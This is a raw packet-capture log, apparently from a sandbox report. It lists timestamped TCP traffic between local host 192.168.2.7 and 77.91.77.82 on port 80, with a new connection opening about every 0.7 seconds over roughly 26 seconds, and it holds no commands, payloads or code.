Jun 30, 2024 10:24:34.744404078 CEST	57525	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.749317884 CEST	80	57525	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:35.469867945 CEST	80	57525	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:35.469985008 CEST	57525	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.473788977 CEST	57525	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.474298954 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.479305983 CEST	80	57525	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:35.479321003 CEST	80	57526	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:35.479357958 CEST	57525	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.479410887 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.479717970 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:35.484479904 CEST	80	57526	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:36.197974920 CEST	80	57526	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:36.198142052 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.309216976 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.309770107 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.314683914 CEST	80	57526	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:36.314702988 CEST	80	57527	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:36.314866066 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.314872026 CEST	57526	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.316468000 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:36.321280003 CEST	80	57527	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.001712084 CEST	80	57527	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.001774073 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.006212950 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.006746054 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.011439085 CEST	80	57527	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.011476040 CEST	80	57528	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.011492014 CEST	57527	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.011554956 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.011928082 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.016763926 CEST	80	57528	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.727485895 CEST	80	57528	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.733376026 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.841377974 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.841428041 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.846365929 CEST	80	57529	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.847038984 CEST	80	57528	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:37.847182035 CEST	57528	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.847279072 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.847423077 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:37.854485035 CEST	80	57529	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:38.564318895 CEST	80	57529	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:38.564455986 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.567420959 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.567420959 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.572360039 CEST	80	57530	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:38.572587013 CEST	80	57529	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:38.572771072 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.572771072 CEST	57529	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.573374033 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:38.578169107 CEST	80	57530	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:39.273716927 CEST	80	57530	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:39.273778915 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.388816118 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.389204025 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.394071102 CEST	80	57530	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:39.394088030 CEST	80	57531	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:39.394128084 CEST	57530	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.394176006 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.394414902 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:39.399199009 CEST	80	57531	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.084456921 CEST	80	57531	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.084781885 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.090346098 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.090385914 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.097759008 CEST	80	57532	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.097773075 CEST	80	57531	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.098436117 CEST	57531	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.098474979 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.098870993 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.107563972 CEST	80	57532	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.822017908 CEST	80	57532	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.822081089 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.937536001 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.943017006 CEST	57533	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.943182945 CEST	80	57532	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.943239927 CEST	57532	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.948834896 CEST	80	57533	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.948894024 CEST	57533	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.952963114 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.958386898 CEST	80	57534	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:40.958472967 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.958646059 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:40.963380098 CEST	80	57534	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:41.657814026 CEST	80	57534	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:41.657867908 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.762850046 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.763252974 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.768675089 CEST	80	57535	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:41.768811941 CEST	80	57534	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:41.768896103 CEST	57534	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.769030094 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.769567966 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:41.774336100 CEST	80	57535	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:42.460165977 CEST	80	57535	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:42.460495949 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.466351986 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.466463089 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.471541882 CEST	80	57536	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:42.471812010 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.472081900 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.472099066 CEST	80	57535	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:42.472518921 CEST	57535	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:42.476850033 CEST	80	57536	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:43.190666914 CEST	80	57536	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:43.190727949 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.316020012 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.316482067 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.322149992 CEST	80	57536	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:43.322227001 CEST	57536	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.322242975 CEST	80	57537	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:43.322316885 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.328212023 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:43.333093882 CEST	80	57537	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.045928955 CEST	80	57537	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.046078920 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.050343990 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.050343990 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.055149078 CEST	80	57538	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.055639982 CEST	80	57537	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.058446884 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.058446884 CEST	57537	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.062372923 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.067430973 CEST	80	57538	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.766848087 CEST	80	57538	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.766906023 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.874543905 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.875160933 CEST	57539	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.879998922 CEST	80	57538	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.880018950 CEST	80	57539	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.880054951 CEST	57538	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.880202055 CEST	57539	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.880368948 CEST	57539	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.884917021 CEST	57539	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.885260105 CEST	80	57539	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.885345936 CEST	57539	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.888986111 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.895605087 CEST	80	57540	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:44.895678997 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.895880938 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:44.900754929 CEST	80	57540	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:45.617208958 CEST	80	57540	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:45.617275953 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.732135057 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.732316971 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.738780975 CEST	80	57541	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:45.739233971 CEST	80	57540	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:45.739362955 CEST	57540	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.739383936 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.740384102 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:45.747250080 CEST	80	57541	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:46.467361927 CEST	80	57541	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:46.473103046 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.473103046 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.474390030 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.478300095 CEST	80	57541	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:46.478765011 CEST	57541	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.479192019 CEST	80	57542	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:46.482650042 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.482650042 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:46.488529921 CEST	80	57542	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:47.199712992 CEST	80	57542	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:47.199769974 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.319838047 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.320178986 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.325059891 CEST	80	57543	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:47.325126886 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.325298071 CEST	80	57542	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:47.325346947 CEST	57542	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.325545073 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:47.330604076 CEST	80	57543	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.012229919 CEST	80	57543	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.014441967 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.018356085 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.018356085 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.023749113 CEST	80	57544	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.023874044 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.025707960 CEST	80	57543	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.025738955 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.025849104 CEST	57543	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.030883074 CEST	80	57544	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.724838972 CEST	80	57544	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.725075006 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.842027903 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.842418909 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.848376036 CEST	80	57544	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.848406076 CEST	80	57545	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:48.848431110 CEST	57544	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.848478079 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.848804951 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:48.854078054 CEST	80	57545	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:49.544759989 CEST	80	57545	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:49.544810057 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.548312902 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.548731089 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.554205894 CEST	80	57546	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:49.554266930 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.554400921 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.554707050 CEST	80	57545	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:49.554749966 CEST	57545	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:49.559391022 CEST	80	57546	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:50.250363111 CEST	80	57546	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:50.251104116 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.358340979 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.358344078 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.363481998 CEST	80	57547	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:50.363723040 CEST	80	57546	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:50.363871098 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.363872051 CEST	57546	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.364530087 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:50.369359970 CEST	80	57547	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.071048021 CEST	80	57547	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.071124077 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.075297117 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.075702906 CEST	57548	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.080863953 CEST	80	57548	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.080938101 CEST	57548	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.081121922 CEST	57548	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.086178064 CEST	80	57548	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.086621046 CEST	80	57547	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.086683035 CEST	57547	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.384911060 CEST	57548	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.497531891 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.502526999 CEST	80	57549	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:51.502613068 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.502774954 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:51.507560015 CEST	80	57549	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.192303896 CEST	80	57549	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.194349051 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.196438074 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.196438074 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.202433109 CEST	80	57550	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.202560902 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.202769041 CEST	80	57549	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.202975988 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.203263998 CEST	57549	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:52.208399057 CEST	80	57550	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.912667990 CEST	80	57550	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:52.912739992 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.029057980 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.029548883 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.040096998 CEST	80	57550	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.040195942 CEST	57550	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.041565895 CEST	80	57551	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.041630983 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.041843891 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.046907902 CEST	80	57551	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.766665936 CEST	80	57551	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.770845890 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.774377108 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.774821043 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.779687881 CEST	80	57551	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.779705048 CEST	80	57552	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:53.782486916 CEST	57551	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.783198118 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.784521103 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:53.789488077 CEST	80	57552	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:54.485425949 CEST	80	57552	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:54.485585928 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.590593100 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.590974092 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.595925093 CEST	80	57552	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:54.596020937 CEST	80	57553	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:54.596081018 CEST	57552	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.598510981 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.598675013 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:54.603524923 CEST	80	57553	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:55.295552015 CEST	80	57553	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:55.295639038 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.299388885 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.299918890 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.305643082 CEST	80	57553	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:55.305700064 CEST	57553	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.305701017 CEST	80	57554	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:55.305877924 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.305890083 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:55.313133001 CEST	80	57554	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.034291029 CEST	80	57554	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.034790993 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.152954102 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.153332949 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.158178091 CEST	80	57555	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.158432007 CEST	80	57554	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.158471107 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.158818960 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.158894062 CEST	57554	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.163739920 CEST	80	57555	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.881556988 CEST	80	57555	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.881616116 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.886045933 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.886436939 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.893275976 CEST	80	57556	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.893399954 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.893940926 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.893948078 CEST	80	57555	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:56.893997908 CEST	57555	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:56.898901939 CEST	80	57556	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:57.595846891 CEST	80	57556	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:57.595942974 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.701126099 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.701483965 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.706377029 CEST	80	57557	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:57.706444979 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.706661940 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.706692934 CEST	80	57556	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:57.706743956 CEST	57556	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:57.711555958 CEST	80	57557	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:58.426271915 CEST	80	57557	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:58.426434040 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.429757118 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.429828882 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.435072899 CEST	80	57558	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:58.435282946 CEST	80	57557	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:58.435306072 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.435564041 CEST	57557	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.435564041 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:58.440582991 CEST	80	57558	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:59.123492002 CEST	80	57558	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:59.123557091 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.232969999 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.233445883 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.384352922 CEST	80	57559	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:59.384368896 CEST	80	57558	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:59.384450912 CEST	57558	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.384478092 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.385014057 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:59.392642021 CEST	80	57559	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:00.089251995 CEST	80	57559	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:00.096049070 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.165721893 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.170387030 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.171020985 CEST	80	57559	77.91.77.82	192.168.2.7
